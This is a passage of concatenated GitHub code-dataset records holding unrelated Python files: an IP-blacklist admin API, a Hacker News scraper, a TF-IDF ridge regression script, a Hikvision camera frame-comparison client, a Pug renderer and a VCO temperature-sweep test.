refuse_num)\n IPBlacklist(voteTurnout=vote_turnout, voteEnd=vote_end).update_by('where id = ?', ip_id)\n\n res = IPBlacklistVote(ipId=ip_id, voterId=ctx.request.user.uid, voterName=ctx.request.user.name, result=result, reason=reason, createAt=time.time(), updateAt=time.time()).insert()\n return res\n\n\n@api\n@get(path_join(_MODULE, 'voteDetail/api'))\ndef _vote_detail():\n ip_id = int(ctx.request.get('ipId', 0))\n\n admin_list = RMS.find_by('where `crm` like \"%4_1_8%\" and stillwork = 1')\n admins = admin_list[:]\n\n where = 'where ipId = ?'\n res = IPBlacklistVote.find_by(where, ip_id)\n\n for admin in admin_list:\n for x in res:\n if admin.uid == x.voterId:\n if admin in admins:\n admins.remove(admin)\n\n _format_data(res)\n return dict(voteList=res, overplus=admins)\n\n\n@api\n@post(path_join(_MODULE, 'joinBlacklist/api'))\ndef _join_blacklist():\n ip_id = int(ctx.request.get('ipId', 0))\n object_id = ctx.request.get('objectId', None)\n title = ctx.request.get('title', None)\n shortcut = ctx.request.get('shortcut', None)\n\n if ip_id < 1:\n error_code = ERROR_CODE['param_error']\n raise APIError(error_code, ERROR_MESSAGE[error_code], {})\n\n if ctx.request.user.crm.find('4_1_10') == -1:\n error_code = ERROR_CODE['not_allow_error']\n raise APIError(error_code, ERROR_MESSAGE[error_code], {})\n\n info = IPBlacklist.find_first('where id = ?', ip_id)\n\n if info and info.status == -1:\n raise APIError('8888', \"此作品已从黑名单下线,如需上线请联系管理员!\", {})\n\n if not shortcut:\n if not info or info.status != 0:\n error_code = ERROR_CODE['error_operation']\n raise APIError(error_code, ERROR_MESSAGE[error_code], {})\n\n return IPBlacklist(status=1, operatorId=ctx.request.user.uid, updateAt=time.time()).update_by('where id = ?', ip_id)\n else:\n if info:\n raise APIError('9999', \"此作品已在黑名单候选流程中,无需单独添加!\", {})\n\n if not object_id or not title:\n error_code = ERROR_CODE['param_error']\n raise APIError(error_code, ERROR_MESSAGE[error_code], {})\n\n return IPBlacklist(id=ip_id, status=1, operatorId=ctx.request.user.uid, updateAt=time.time(), createAt=time.time(), isShortcut=1, title=title, objectId=object_id).insert()\n\n\n@api\n@post(path_join(_MODULE, 'blacklistPackage/api'))\ndef _blacklist_package():\n ip_id = int(ctx.request.get('ipId', 0))\n packager_id = ctx.request.get('packagerId', None)\n uptime = int(ctx.request.get('uptime', 0))\n\n if ctx.request.user.crm.find('4_1_10') == -1:\n error_code = ERROR_CODE['not_allow_error']\n raise APIError(error_code, ERROR_MESSAGE[error_code], {})\n\n info = IPBlacklist.find_first('where id = ?', ip_id)\n\n if not info or info.status != 1:\n error_code = ERROR_CODE['error_operation']\n raise APIError(error_code, ERROR_MESSAGE[error_code], {})\n\n res = IPBlacklist(status=2, packagerId=packager_id, updateAt=time.time(), uptime=uptime).update_by('where id = ?', ip_id)\n return res\n","repo_name":"JeniTurtle/python-admin","sub_path":"app/routes/blacklist/ipBlacklist_route.py","file_name":"ipBlacklist_route.py","file_ext":"py","file_size_in_byte":11381,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"53"} +{"seq_id":"44538218295","text":"import requests\n\nfrom bs4 import BeautifulSoup\n\nimport smtplib\n\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.text import MIMEText\n\nfrom datetime import datetime\n\nnow = datetime.now()\n\ncontent = \"\"\n\n\ndef extract_news(url):\n print(\"Exctracting Hacker Stories.....\")\n cnt = ''\n cnt += (' HN Top Storiess: \\n' + '
' + '-' * 50 + '
')\n response = requests.get(url)\n content = response.content\n soup = BeautifulSoup(content)\n for i, tag in enumerate(soup.find_all('td', attrs={'class': 'title', 'valign': ''})):\n cnt += ((str(i + 1) + ' :: ' + tag.text + \"\\n\" + '
') if tag.text != 'More' else '')\n return cnt\n\n\ncnt = extract_news('https://news.ycombinator.com/')\ncontent += cnt\ncontent += '
-------
'\ncontent += '

End of Message'\n","repo_name":"Crucialjun/automatePython","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":807,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"40187678605","text":"import argparse\nimport pandas as pd\nimport numpy as np\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.linear_model import Ridge\nfrom sklearn.metrics import mean_squared_error\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.model_selection import StratifiedKFold\nfrom typing import List\nimport joblib\nimport os\n\n\ndef parse_args() -> argparse.Namespace:\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--train_path\", type=str, default=\"data/train.csv\")\n parser.add_argument(\"--valid_path\", type=str, default=\"data/valid.csv\")\n parser.add_argument(\"--test_path\", type=str, default=\"data/comments_to_score.csv\")\n parser.add_argument(\"--model_save_dir\", type=str, default=\".\")\n parser.add_argument(\"--pred_save_path\", type=str, default=\"./submission.csv\")\n parser.add_argument(\"--ridge_alpha\", type=float, default=None)\n parser.add_argument(\"--max_alpha\", type=float, default=1.0)\n parser.add_argument(\"--tokenization_scheme\", type=str, default=\"word\")\n parser.add_argument(\"--min_df\", type=int, default=0)\n parser.add_argument(\"--max_df\", type=float, default=0.8),\n parser.add_argument(\"--ngram_min\", type=int, default=1),\n parser.add_argument(\"--ngram_max\", type=int, default=2)\n parser.add_argument(\"--seed\", type=int, default=666)\n parser.add_argument(\"--num_folds\", type=int, default=5)\n return parser.parse_args()\n\n\ndef train(\n train_data: pd.DataFrame,\n valid_data: pd.DataFrame,\n encoder: TfidfVectorizer,\n alpha: float = None,\n max_alpha: float = 1.0,\n):\n best_model = None\n if alpha is None:\n best_alpha = None\n best_score = 0\n for alpha in np.linspace(0.1, max_alpha, max_alpha * 10):\n regressor = Ridge(alpha=alpha)\n model = Pipeline([(\"tfidf\", encoder), (\"ridge\", regressor)])\n model.fit(train_data.text, train_data.target)\n score = validate([model], valid_data)\n if score > best_score:\n best_score = score\n best_alpha = alpha\n best_model = model\n print(f\"alpha: {alpha} | score: {score}\")\n else:\n regressor = Ridge(alpha=alpha)\n best_model = Pipeline([(\"tfidf\", encoder), (\"ridge\", regressor)])\n best_model.fit(train_data.text, train_data.target)\n best_score = validate([best_model], valid_data)\n print(f\"final alpha: {best_alpha} | final score: {best_score}\")\n\n\ndef train_fold(\n fold: int,\n train_data: pd.DataFrame,\n oof_data: pd.DataFrame,\n encoder: TfidfVectorizer,\n alpha: float = None,\n max_alpha: float = 1.0,\n) -> Pipeline:\n min_mse = float(\"inf\")\n best_model = None\n best_alpha = alpha\n if alpha is None: # if no alpha is supplied then tune it\n print(f\"Tuning alpha for fold {fold}...\")\n for alpha in np.linspace(0.1, max_alpha, max_alpha * 10):\n regressor = Ridge(alpha=alpha)\n model = Pipeline([(\"tfidf\", encoder), (\"ridge\", regressor)])\n model.fit(train_data.text, train_data.target)\n predictions = model.predict(oof_data.text)\n mse = mean_squared_error(oof_data.target, predictions)\n print(f\"fold: {fold} | alpha: {alpha} | mse: {mse}\")\n if mse < min_mse:\n min_mse = mse\n best_model = model\n best_alpha = alpha\n else: # use supplied alpha to fit the regressor\n print(f\"Fitting fold {fold} using alpha={best_alpha}...\")\n regressor = Ridge(alpha=best_alpha)\n best_model = Pipeline([(\"tfidf\", encoder), (\"ridge\", regressor)])\n best_model.fit(train_data.text, train_data.target)\n predictions = best_model.predict(oof_data.text)\n min_mse = mean_squared_error(oof_data.target, predictions)\n print(f\"best model | alpha: {best_alpha} | mse: {min_mse}\\n\")\n return best_model, min_mse\n\n\ndef get_encoder(\n tokenization_scheme: str,\n min_df: int,\n max_df: float,\n ngram_min: int,\n ngram_max: int,\n) -> TfidfVectorizer:\n encoder = TfidfVectorizer(\n analyzer=tokenization_scheme,\n min_df=min_df,\n max_df=max_df,\n ngram_range=(ngram_min, ngram_max),\n )\n return encoder\n\n\ndef make_folds(data: pd.DataFrame, num_folds: int, seed: int) -> pd.DataFrame:\n skf = StratifiedKFold(shuffle=True, random_state=seed)\n stratified_targets = pd.cut(data.target, num_folds, labels=False)\n data[\"fold\"] = -1\n for fold, (_, valid_index) in enumerate(skf.split(data.text, stratified_targets)):\n data.loc[valid_index, \"fold\"] = fold\n return data\n\n\ndef validate(models: List[Pipeline], test_data: pd.DataFrame) -> float:\n less_toxic_scores = []\n more_toxic_scores = []\n for model in models:\n less_toxic_scores.append(model.predict(test_data.less_toxic))\n more_toxic_scores.append(model.predict(test_data.more_toxic))\n mean_less_toxic = np.mean(less_toxic_scores, axis=0)\n mean_more_toxic = np.mean(more_toxic_scores, axis=0)\n return sum(mean_less_toxic < mean_more_toxic) / len(test_data)\n\n\ndef predict(models: List[Pipeline], test_data: pd.DataFrame) -> np.ndarray:\n print(\"Generating predictions...\")\n fold_predictions = []\n for model in models:\n predictions = model.predict(test_data.text)\n fold_predictions.append(predictions)\n return np.mean(fold_predictions, axis=0)\n\n\ndef save_model(model: Pipeline, save_dir: str, fold: int = None) -> None:\n if fold:\n save_path = os.path.join(save_dir, f\"tfidf_ridge_fold_{fold}.pkl\")\n else:\n save_path = os.path.join(save_dir, f\"tfidf_ridge.pkl\")\n joblib.dump(model, save_path)\n\n\nif __name__ == \"__main__\":\n args = parse_args()\n data = pd.read_csv(args.train_path)\n valid_data = pd.read_csv(args.valid_path)\n test_data = pd.read_csv(args.test_path)\n models = []\n mse_scores = []\n encoder = get_encoder(\n args.tokenization_scheme,\n args.min_df,\n args.max_df,\n args.ngram_min,\n args.ngram_max,\n )\n if args.num_folds > 1:\n if \"fold\" not in data.columns:\n data = make_folds(data, args.num_folds, args.seed)\n for fold in range(args.num_folds):\n train_data = data[data.fold != fold]\n oof_data = data[data.fold == fold]\n model, mse = train_fold(\n fold,\n train_data,\n oof_data,\n args.tokenization_scheme,\n args.min_df,\n args.max_df,\n args.ngram_min,\n args.ngram_max,\n args.ridge_alpha,\n args.max_alpha,\n )\n mse_scores.append(mse)\n models.append(model)\n save_model(model, args.model_save_dir, fold)\n print(f\"cv mse: {np.mean(mse_scores)}\")\n valid_score = validate(models, valid_data)\n print(f\"valid score (mean of {args.num_folds} folds): {valid_score}\")\n else:\n alpha = args.ridge_alpha\n if alpha is None:\n print(\"Defaulting to alpha=1\")\n alpha = 1\n model = train(data, valid_data, encoder, alpha, args.max_alpha)\n models.append(model)\n save_model(model, args.model_save_dir)\n print(\"Generating test set predictions...\")\n predictions = predict(models, test_data)\n submission = pd.DataFrame(\n {\"comment_id\": test_data.comment_id, \"score\": predictions}\n )\n submission.to_csv(args.pred_save_path, index=False)\n print(f\"Saved predictions to {args.pred_save_path}\")","repo_name":"AMontgomerie/jigsaw-toxic-severity-competition","sub_path":"tfidf_ridge.py","file_name":"tfidf_ridge.py","file_ext":"py","file_size_in_byte":7550,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"53"} +{"seq_id":"5658671872","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.datasets import make_moons\n\n\n# ========================================================================\n# dataset\n\nn_tot = 400\nn = int(n_tot/2)\n# two moons, not really linearly separable\nX, y = make_moons(n_tot, noise=0.15, random_state=0)\n\nplt.figure()\ncolors = [\"g\", \"b\"]\nfor ii in range(2):\n class_indices = np.where(y==ii)[0]\n plt.scatter(X[class_indices, 0], X[class_indices, 1], c=colors[ii])\nplt.title(\"full dataset\")\nplt.show()\n\n# divide data into training and testing\nnp.random.seed(42)\norder = np.random.permutation(n_tot)\ntrain = order[:n]\ntest = order[n:]\n\nXtr = X[train, :]\nytr = y[train]\nXtst = X[test, :]\nytst = y[test]\n\n# ========================================================================\n# classifier\n\n# The perceptron algorithm will be encountered later in the course\n# How exactly it works is not relevant yet, it's enough to just know it's a binary classifier\nfrom sklearn.linear_model import Perceptron as binary_classifier\n\n# It can be used like this:\nbc = binary_classifier()\nbc.fit(Xtr, ytr) # this is how to train the classifier on training data\npreds = bc.predict(Xtst) # this is how to obtain predictions on test data\n\n","repo_name":"SpringNuance/Machine-Learning-Supervised-Methods","sub_path":"quiz2.py","file_name":"quiz2.py","file_ext":"py","file_size_in_byte":1224,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"25509733962","text":"# coding=utf-8\n\nimport os\nimport platform\nimport tkinter\nfrom tkinter import *\nfrom HCNetSDK import *\nfrom PlayCtrl import *\nfrom time import sleep\nfrom threading import Timer, Thread\n\nfrom client import sendPic, sendPicData\nfrom readConfig import readConfig, readParam\n\nfrom fangfa import comparehash\nfrom fangfa import comparessim\n# 登录的设备信息\n# DEV_IP = create_string_buffer(b'192.168.3.5')\n# DEV_PORT = 8000\nDEV_USER_NAME = create_string_buffer(b'admin')\nDEV_PASSWORD = create_string_buffer(b'vfes0001')\nPICTURE_SERVER_PORT = 9001\n\nObjdll = None\ncv = None\n\nWINDOWS_FLAG = True\nwin = None # 预览窗口\nfuncRealDataCallBack_V30 = None # 实时预览回调函数,需要定义为全局的\n\nPlayCtrl_Port = c_long(-1) # 播放句柄\nPlayctrldll = None # 播放库\nFuncDecCB = None # 播放库解码回调函数,需要定义为全局的\n\npreviousPic = None\nCompareParameter = None\nCompareMethod = None\nCompareDuration = None\n\n# 获取当前系统环境\ndef GetPlatform():\n sysstr = platform.system()\n print('' + sysstr)\n if sysstr != \"Windows\":\n global WINDOWS_FLAG\n WINDOWS_FLAG = False\n\n# 设置SDK初始化依赖库路径\ndef SetSDKInitCfg():\n # 设置HCNetSDKCom组件库和SSL库加载路径\n # print(os.getcwd())\n if WINDOWS_FLAG:\n strPath = os.getcwd().encode('gbk')\n sdk_ComPath = NET_DVR_LOCAL_SDK_PATH()\n sdk_ComPath.sPath = strPath\n Objdll.NET_DVR_SetSDKInitCfg(2, byref(sdk_ComPath))\n Objdll.NET_DVR_SetSDKInitCfg(3, create_string_buffer(strPath + b'\\libcrypto-1_1-x64.dll'))\n Objdll.NET_DVR_SetSDKInitCfg(4, create_string_buffer(strPath + b'\\libssl-1_1-x64.dll'))\n else:\n strPath = os.getcwd().encode('utf-8')\n sdk_ComPath = NET_DVR_LOCAL_SDK_PATH()\n sdk_ComPath.sPath = strPath\n Objdll.NET_DVR_SetSDKInitCfg(2, byref(sdk_ComPath))\n Objdll.NET_DVR_SetSDKInitCfg(3, create_string_buffer(strPath + b'/libcrypto.so.1.1'))\n Objdll.NET_DVR_SetSDKInitCfg(4, create_string_buffer(strPath + b'/libssl.so.1.1'))\n\ndef LoginDev(ip, port, user, password, Objdll):\n # 登录注册设备\n device_info = NET_DVR_DEVICEINFO_V30()\n lUserId = Objdll.NET_DVR_Login_V30(ip, port, user, password, byref(device_info))\n return (lUserId, device_info)\n\ndef capture(Objdll):\n global lRealPlayHandle\n #\n sFileName = './pic.jpg'\n captureSuccess = Objdll.NET_DVR_CaptureJPEGPicture(lRealPlayHandle, 33, c_char_p(sFileName.encode()))\n print('capture success:', captureSuccess)\n print('error code %s'%Objdll.NET_DVR_GetLastError())\n\ndef DecCBFun(nPort, pBuf, nSize, pFrameInfo, nUser, nReserved2):\n global Playctrldll\n # 解码回调函数\n if pFrameInfo.contents.nType == 3:\n # 解码返回视频YUV数据,将YUV数据转成jpg图片保存到本地\n # 如果有耗时处理,需要将解码数据拷贝到回调函数外面的其他线程里面处理,避免阻塞回调导致解码丢帧\n sFileName = ('/home/vfes/hcnet-communication/pic/test_stamp[%d].jpg'% pFrameInfo.contents.nStamp)\n nWidth = pFrameInfo.contents.nWidth\n nHeight = pFrameInfo.contents.nHeight\n nType = pFrameInfo.contents.nType\n dwFrameNum = pFrameInfo.contents.dwFrameNum\n nStamp = pFrameInfo.contents.nStamp\n # print(dwFrameNum, nStamp, nSize)\n # picByte = Objdll.BYTE_ARRAY(1024*1024*5)\n # picByte.write()\n # bByte = picByte.getPointer()\n # print('bByte:%s'%bByte)\n # print('pBuf:%s'%pBuf)\n # f = open(sFileName, 'wb')\n # f.write(pBuf)\n # f.close()\n global previousPic\n global CompareParameter\n global CompareMethod\n global CompareDuration\n global PICTURE_SERVER_PORT\n if dwFrameNum % (25 * CompareDuration) != 0:\n return\n # sendPicData(pBuf)\n lRet = Playctrldll.PlayM4_ConvertToJpegFile(pBuf, nSize, nWidth, nHeight, nType, c_char_p(sFileName.encode()))\n # sendPic(sFileName)\n \n print('paramter:', CompareParameter, CompareMethod, CompareDuration) \n if (previousPic == None):\n previousPic = sFileName\n else:\n # print(previousPic)\n if (CompareMethod == 'ssim'):\n r = comparessim(previousPic, sFileName, CompareParameter)\n else:\n r = comparehash(previousPic, sFileName, CompareParameter)\n # comparessim(previousPic, sFileName, CompareParameter)\n if r:\n sendPic(sFileName, PICTURE_SERVER_PORT)\n previousPic = sFileName\n\n if lRet == 0:\n print('PlayM4_ConvertToJpegFile fail, error code is:', Playctrldll.PlayM4_GetLastError())\n else:\n print('PlayM4_ConvertToJpegFile success')\n\ndef RealDataCallBack_V30(lPlayHandle, dwDataType, pBuffer, dwBufSize, pUser):\n global Playctrldll\n global cv\n # 码流回调函数\n # print('data type %s', dwDataType)\n # print('buffer size:%d %d', dwBufSize, dwDataType)\n if dwDataType == NET_DVR_SYSHEAD:\n # 设置流播放模式\n Playctrldll.PlayM4_SetStreamOpenMode(PlayCtrl_Port, 0)\n print('port:%s'%PlayCtrl_Port)\n # 打开码流,送入40字节系统头数据\n if Playctrldll.PlayM4_OpenStream(PlayCtrl_Port, pBuffer, dwBufSize, 1024*1024):\n # \n picBuffer = [1024*1024]\n size = 5\n #Playctrldll.PlayM4_GetJPEG(PlayCtrl_Port, 1024*1024, picBuffer, 5)\n #print('pic buffer:%s'%picBuffer)\n # 设置解码回调,可以返回解码后YUV视频数据\n global FuncDecCB\n FuncDecCB = DECCBFUNWIN(DecCBFun)\n Playctrldll.PlayM4_SetDecCallBackExMend(PlayCtrl_Port, FuncDecCB, None, 0, None)\n # 开始解码播放\n if Playctrldll.PlayM4_Play(PlayCtrl_Port, cv.winfo_id()):\n print(u'播放库播放成功')\n else:\n print(u'播放库播放失败')\n else:\n print(u'播放库打开流失败')\n elif dwDataType == NET_DVR_STREAMDATA:\n Playctrldll.PlayM4_InputData(PlayCtrl_Port, pBuffer, dwBufSize)\n #print('buffer size: %d'%dwBufSize)\n # objdll.NET_DVR_CaptureJPEGPicture\n pass\n\n # else:\n # print (u'其他数据,长度:', dwBufSize)\n\ndef OpenPreview(Objdll, lUserId, callbackFun):\n '''\n 打开预览\n '''\n global lRealPlayHandle\n preview_info = NET_DVR_PREVIEWINFO()\n preview_info.hPlayWnd = 0\n preview_info.lChannel = 1 # 通道号\n preview_info.dwStreamType = 0 # 主码流\n preview_info.dwLinkMode = 0 # TCP\n preview_info.bBlocked = 1 # 阻塞取流\n\n # 开始预览并且设置回调函数回调获取实时流数据\n lRealPlayHandle = Objdll.NET_DVR_RealPlay_V40(lUserId, byref(preview_info), callbackFun, None)\n # lRealPlayHandle = Objdll.NET_DVR_RealPlay_V40(lUserId, None, callbackFun, None)\n\n return lRealPlayHandle\n\ndef InputData(fileMp4, Playctrldll):\n while True:\n pFileData = fileMp4.read(4096)\n if pFileData is None:\n break\n\n if not Playctrldll.PlayM4_InputData(PlayCtrl_Port, pFileData, len(pFileData)):\n break\n\ndef startVideo(ip, port, username, password, sendPicPort):\n global Playctrldll\n global Objdll\n global PlayCtrl_Port\n global cv\n global CompareParameter\n global CompareMethod\n global CompareDuration\n global PICTURE_SERVER_PORT\n # deviceIp = create_string_buffer(ip)\n # 创建窗口\n win = tkinter.Tk()\n #固定窗口大小\n win.resizable(0, 0)\n win.overrideredirect(True)\n\n sw = win.winfo_screenwidth()\n # 得到���幕宽度\n sh = win.winfo_screenheight()\n # 得到屏幕高度\n\n # 窗口宽高\n ww = 520\n wh = 380\n x = (sw - ww) / 2\n y = (sh - wh) / 2\n win.geometry(\"%dx%d+%d+%d\" % (ww, wh, x, y))\n\n # 创建退出按键\n b = Button(win, text='退出', command=win.quit)\n b.pack()\n # 创建一个Canvas,设置start其背景色为白色\n cv = tkinter.Canvas(win, bg='white', width=ww, height=wh)\n cv.pack()\n\n # 获取系统平台\n GetPlatform()\n\n # 加载库,先加载依赖库\n if WINDOWS_FLAG:\n os.chdir(r'./lib/win')\n Objdll = ctypes.CDLL(r'./HCNetSDK.dll') # 加载网络库\n Playctrldll = ctypes.CDLL(r'./PlayCtrl.dll') # 加载播放库\n else:\n os.chdir(r'./lib/linux')\n Objdll = cdll.LoadLibrary(r'./libhcnetsdk.so')\n Playctrldll = cdll.LoadLibrary(r'./libPlayCtrl.so')\n\n SetSDKInitCfg() # 设置组件库和SSL库加载路径\n\n # paramConfig = readParam()\n \n # CompareMethod = paramConfig['algorithm']\n # CompareParameter = float(paramConfig['param'])\n # CompareDuration = float(paramConfig['duration'])\n PICTURE_SERVER_PORT = sendPicPort\n # CompareMethod = paramConfig['algorithm']\n # CompareParameter = float(paramConfig['param'])\n # CompareDuration = float(paramConfig['duration'])\n # getConfig()\n thread = Thread(target=getConfig)\n thread.start()\n\n \n # 初始化DLL\n Objdll.NET_DVR_Init()\n # 启用SDK写日志\n Objdll.NET_DVR_SetLogToFile(3, bytes('./SdkLog_Python/', encoding=\"utf-8\"), False)\n \n # 获取一个播放句柄\n if not Playctrldll.PlayM4_GetPort(byref(PlayCtrl_Port)):\n print(u'获取播放库句柄失败')\n\n # 登录设备\n (lUserId, device_info) = LoginDev(ip, port, username, password, Objdll)\n if lUserId < 0:\n err = Objdll.NET_DVR_GetLastError()\n print('Login device fail, error code is: %d' % Objdll.NET_DVR_GetLastError())\n # 释放资源\n Objdll.NET_DVR_Cleanup()\n # exit()\n return\n\n setModeSign = Objdll.NET_DVR_SetCapturePictureMode(1)\n print('set mode:', setModeSign)\n\n \n # 定义码流回调函数\n funcRealDataCallBack_V30 = REALDATACALLBACK(RealDataCallBack_V30)\n # 开启预览\n lRealPlayHandle = OpenPreview(Objdll, lUserId, funcRealDataCallBack_V30)\n if lRealPlayHandle < 0:\n print ('Open preview fail, error code is: %d' % Objdll.NET_DVR_GetLastError())\n # 登出设备\n Objdll.NET_DVR_Logout(lUserId)\n # 释放资源\n Objdll.NET_DVR_Cleanup()\n # exit()\n return\n\n capture(Objdll)\n\n #show Windows\n win.mainloop() \n\n # 开始云台控制\n # lRet = Objdll.NET_DVR_PTZControl(lRealPlayHandle, PAN_LEFT, 0)\n # if lRet == 0:\n # print ('Start ptz control fail, error code is: %d' % Objdll.NET_DVR_GetLastError())\n # else:\n # print ('Start ptz control success')\n\n # # 转动一秒\n # sleep(1)\n\n # 停止云台控制\n # lRet = Objdll.NET_DVR_PTZControl(lRealPlayHandle, PAN_LEFT, 1)\n # if lRet == 0:\n # print('Stop ptz control fail, error code is: %d' % Objdll.NET_DVR_GetLastError())\n # else:\n # print('Stop ptz control success')\n\n # 关闭预览\n Objdll.NET_DVR_StopRealPlay(lRealPlayHandle)\n print('close preview ...')\n # 停止解码,释放播放库资源\n if PlayCtrl_Port.value > -1:\n Playctrldll.PlayM4_Stop(PlayCtrl_Port)\n Playctrldll.PlayM4_CloseStream(PlayCtrl_Port)\n Playctrldll.PlayM4_FreePort(PlayCtrl_Port)\n PlayCtrl_Port = c_long(-1)\n\n # 登出设备\n Objdll.NET_DVR_Logout(lUserId)\n\n # 释放资源\n Objdll.NET_DVR_Cleanup()\n\ndef getConfig():\n print('read config.......')\n global CompareParameter\n global CompareMethod\n global CompareDuration\n\n paramConfig = readParam()\n CompareMethod = paramConfig['algorithm']\n CompareParameter = float(paramConfig['param'])\n CompareDuration = float(paramConfig['duration']) \n sleep(10)\n thread = Thread(target=getConfig)\n thread.start()\n # readThread = Timer(6, getConfig)\n # readThread.start()\n\n\n# start()\n# if __name__ == '__main__':\n# i = 0\n# start()\n # while i < 1:\n # print(i)\n # sleep(1)\n # start()\n # i += 1\n\n","repo_name":"fengdachao/hcnet-communication","sub_path":"HcnetCore.py","file_name":"HcnetCore.py","file_ext":"py","file_size_in_byte":11987,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"13582373593","text":"\"\"\"\nRenders a single Pug template once for each item in a JSON list.\n\nThe JSON list is retrieved from the first (preferably only) key in the provided JSON object.\n\"\"\"\n\nfrom functools import reduce\nimport json\nimport operator\nimport os\nimport sys\nimport subprocess\nfrom threading import Thread\n\nTMP_FILENAME_BASE = f'{__file__}.tmp'\n\ndef render(obj, idx):\n try:\n get_out_filename = lambda: f\"{template_file_base}_{idx}\" if not output_filename_keys \\\n else reduce(operator.getitem, output_filename_keys, obj)\n TMP_FILENAME = f\"{TMP_FILENAME_BASE}-{idx}\"\n EXT = f'tmp-{idx}'\n\n with open(TMP_FILENAME, 'w', encoding='utf-8') as tmp:\n json.dump(obj, tmp)\n\n dir_render_to = basedir if basedir is not None else output_dir\n dir_move_to = output_dir\n cmd = ['pug', template_file, '-o', dir_render_to, '-O', TMP_FILENAME, '-E', EXT]\n initial_name = f'{dir_render_to}/{template_file_base}.{EXT}'\n final_name = f'{dir_move_to}/{get_out_filename()}.html'\n print(f'Rendering {initial_name} from template {template_file}')\n proc = subprocess.run(cmd, capture_output=True, check=True, shell=True)\n print(f'Rendered {initial_name}')\n os.replace(initial_name, final_name)\n print(f'Renamed {initial_name} to {final_name}')\n except subprocess.CalledProcessError as e:\n print(f'Error running command: {e.cmd}')\n print(e.stderr.decode())\n\n # Clean up this thread's temp file\n if os.path.exists(TMP_FILENAME):\n os.remove(TMP_FILENAME)\n\nif len(sys.argv) < 2:\n print(f\"\"\"\nUsage:\n python {__file__} template json_file [output_dir] [output_filename_keys] [basedir] [count]\n\n template - File path to Pug template file\n json_file - File path to JSON options data file\n output_dir - (Optional) Directory to which to render output files. Default: 'rendered'.\n output_filename_keys - (Optional) Property of each object in JSON to use to determine each file's rendered filename.\n For nested properties, separate each with periods. (e.g. 'this.that.other')\n If omitted, simply appends an index to each rendered filename.\n basedir - (Optional) Passed directly to Pug invocation. Path used as root directory to resolve absolute includes.\n Templates are rendered to this location first before being moved to output_dir.\n count - (Optional) Maximum number of items to render. If ommitted or <= 0, all items are processed.\n\"\"\")\n exit(1)\n\ntemplate_file = sys.argv[1]\ntemplate_file_base = os.path.splitext(os.path.basename(template_file))[0]\njson_file = sys.argv[2]\noutput_dir = sys.argv[3] if len(sys.argv) > 3 else 'rendered'\noutput_filename_keys = sys.argv[4].split('.') if len(sys.argv) > 4 else None\nbasedir = sys.argv[5] if len(sys.argv) > 5 else None\ncount = int(sys.argv[6]) if len(sys.argv) > 6 else 0\n\n# Load JSON\ndata = None\ntry:\n with open(json_file, encoding='utf-8') as f:\n data = json.load(f)\n data = data[list(data.keys())[0]]\nexcept Exception as e:\n print('Error loading JSON:')\n print(e)\n exit(1)\n\n# Ensure target directory exists\n# If not, create it\nif not os.path.exists(output_dir):\n try:\n os.mkdir(output_dir)\n except Exception as e:\n print('Error creating output directory:')\n print(e)\n exit(1)\n\n# For each item in JSON, render template\nrendered = 0\nthreads = []\nfor obj in data:\n threads.append(Thread(target=render, args=(obj, rendered)))\n threads[-1].start()\n rendered += 1\n if rendered >= count and count > 0:\n break\nfor t in threads:\n t.join()\n","repo_name":"IsaacAbrahamson/Yearbook-2021","sub_path":"render_list.py","file_name":"render_list.py","file_ext":"py","file_size_in_byte":3760,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"5369720146","text":"from __future__ import print_function\nfrom sweep_temp_vco import SweepTempVCO\nimport time\nimport sys\n\nsys.path.append('.')\n\n\ndef main(start_temp, stop_temp, stepping, serial=0, tol_temp=0.2):\n vc6x = SweepTempVCO(0x6a)\n vc6x.vdd = 3.3\n logfile = open(\"log\" + str(serial) + '_' + str(start_temp) + \"_\" + str(stop_temp) + \".txt\", 'w+')\n time.sleep(0.1)\n vc6x.power_on(False)\n for temp in range(start_temp, stop_temp+stepping, stepping):\n curr_temp = vc6x.read_temp()\n vc6x.set_temp(temp)\n print(\"RAMP TEMP TO \" + str(temp))\n while not((curr_temp < (temp + tol_temp)) and (curr_temp > (temp - tol_temp))):\n curr_temp = vc6x.read_temp()\n print(\".\", end='')\n # print(curr_temp)\n if temp == start_temp:\n print(\"\\nSOAK TIME 2MIN AT STARTING POINT...\")\n time.sleep(120)\n idd = vc6x.power_on()\n if idd < 0.1:\n raise EnvironmentError(\"IDD TOO SMALL PLEASE CHECK SETUP\")\n frequency1 = (vc6x.freq(1))\n frequency2 = (vc6x.freq(2))\n vco_band = list(vc6x.dut_i2c.aa_read_i2c(0x99))[0]\n print('\\nLOG: ' + str(temp) + '\\t' + str(frequency1) + '\\t' + str(frequency2) + '\\t' + str(vco_band))\n logfile.write(str(temp) + '\\t' + str(frequency1) + '\\t' + str(frequency2) + '\\t' + str(vco_band) + '\\n')\n # if temp == start_temp:\n # ak692.set_temp(stop_temp)\n logfile.close()\n vc6x.close()\n\nif __name__ == '__main__':\n unitnum = sys.argv[1]\n print(\"STARTING TEMP.......... FROM 90C to -40C\")\n main(90, -40, -10, unitnum)\n print(\"\\nDone with first round, starting from -40C.....\")\n time.sleep(30)\n main(-40, 90, 10, unitnum)\n","repo_name":"yimuguo/autobench","sub_path":"autobench/vc6x_vco_sweep.py","file_name":"vc6x_vco_sweep.py","file_ext":"py","file_size_in_byte":1717,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"22191371518","text":"from drf_spectacular.utils import PolymorphicProxySerializer, extend_schema_field\nfrom rest_framework import serializers\n\nfrom apps.content_pages.models import (\n ContentUnitRichText,\n EventsBlock,\n ImagesBlock,\n Link,\n PersonsBlock,\n PlaysBlock,\n VideosBlock,\n)\nfrom apps.content_pages.serializers import (\n 